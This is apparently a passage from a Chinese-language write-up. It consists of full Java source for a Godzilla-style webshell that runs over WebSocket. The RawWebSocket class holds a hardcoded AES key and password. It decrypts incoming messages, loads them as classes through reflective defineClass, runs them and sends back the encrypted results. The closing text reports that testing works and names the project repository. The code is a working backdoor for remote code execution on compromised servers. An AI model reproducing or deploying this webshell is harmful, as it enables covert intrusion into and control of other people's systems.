Raw类型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 public class RawWebSocket extends Endpoint implements MessageHandler .Whole<byte []> { private Session session; public static Map<String, Object> store = new HashMap (); String xc = "082e34fbef497bb1" ; String pass = "cmisl" ; public String headerName = "cmisl" ; public String headerValue = "cmisl" ; String md5 = md5(pass + xc); private static Class defineClass (byte [] classbytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader (new URL [0 ], Thread.currentThread().getContextClassLoader()); Method method = ClassLoader.class.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); method.setAccessible(true ); return (Class) method.invoke(urlClassLoader, classbytes, 0 , classbytes.length); } public byte [] x(byte [] s, boolean m) { try { Cipher c = Cipher.getInstance("AES" ); c.init(m ? 1 : 2 , new SecretKeySpec (xc.getBytes(), "AES" )); return c.doFinal(s); } catch (Exception e) { return null ; } } @Override public void onOpen (Session session, EndpointConfig config) { this .session = session; System.out.println("onOpen method is invoked raw" ); this .session.setMaxBinaryMessageBufferSize(1024 * 1024 ); this .session.setMaxTextMessageBufferSize(1024 * 1024 ); session.addMessageHandler(this ); } @Override public void onMessage (byte [] message) { try { System.out.println("onMessage method is invoked" ); ByteArrayOutputStream result = new ByteArrayOutputStream (); byte [] data = message; data = x(data, false ); if (store.get("payload" ) == null ) { store.put("payload" , defineClass(data)); } else { store.put("parameters" , data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream (); Object f = ((Class<?>) store.get("payload" )).newInstance(); f.equals(arrOut); f.equals(data); f.toString(); result.write(x(arrOut.toByteArray(), true )); } session.getBasicRemote().sendBinary(ByteBuffer.wrap(result.toByteArray())); } catch (Exception e) { } } @Override public void onClose (Session session, javax.websocket.CloseReason closeReason) { System.out.println("onclose method is invoked\"" ); } @Override public void onError (Session session, Throwable thr) { System.out.println("onerror method is invoked\"" ); } public static String md5 (String s) { String ret = null ; try { MessageDigest m; m = MessageDigest.getInstance("MD5" ); m.update(s.getBytes(), 0 , s.length()); ret = new BigInteger (1 , m.digest()).toString(16 ).toUpperCase(); } catch (Exception e) { } return ret; } public static String base64Encode (byte [] bs) throws Exception { Class base64; String value = null ; try { base64 = Class.forName("java.util.Base64" ); Object Encoder = base64.getMethod("getEncoder" , null ).invoke(base64, null ); value = (String) Encoder.getClass().getMethod("encodeToString" , new Class []{byte [].class}).invoke(Encoder, new Object []{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder" ); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode" , new Class []{byte [].class}).invoke(Encoder, new Object []{bs}); } catch (Exception e2) { } } return value; } public static byte [] base64Decode(String bs) throws Exception { Class base64; byte [] value = null ; try { base64 = Class.forName("java.util.Base64" ); Object decoder = base64.getMethod("getDecoder" , null ).invoke(base64, null ); value = (byte []) decoder.getClass().getMethod("decode" , new Class []{String.class}).invoke(decoder, new Object []{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder" ); Object decoder = base64.newInstance(); value = (byte []) decoder.getClass().getMethod("decodeBuffer" , new Class []{String.class}).invoke(decoder, new Object []{bs}); } catch (Exception e2) { } } return value; } }
测试 基本没问题,除了进入shell会有一会延迟,这个是为了确保获取基础信息时能读到完整数据,避免只读取一部分数据从无法解析基础信息进而无法进入shell。
最后项目地址:Cmisl/WebSocketGodZilla: 实现了WebSocket通信的哥斯拉webshell管理器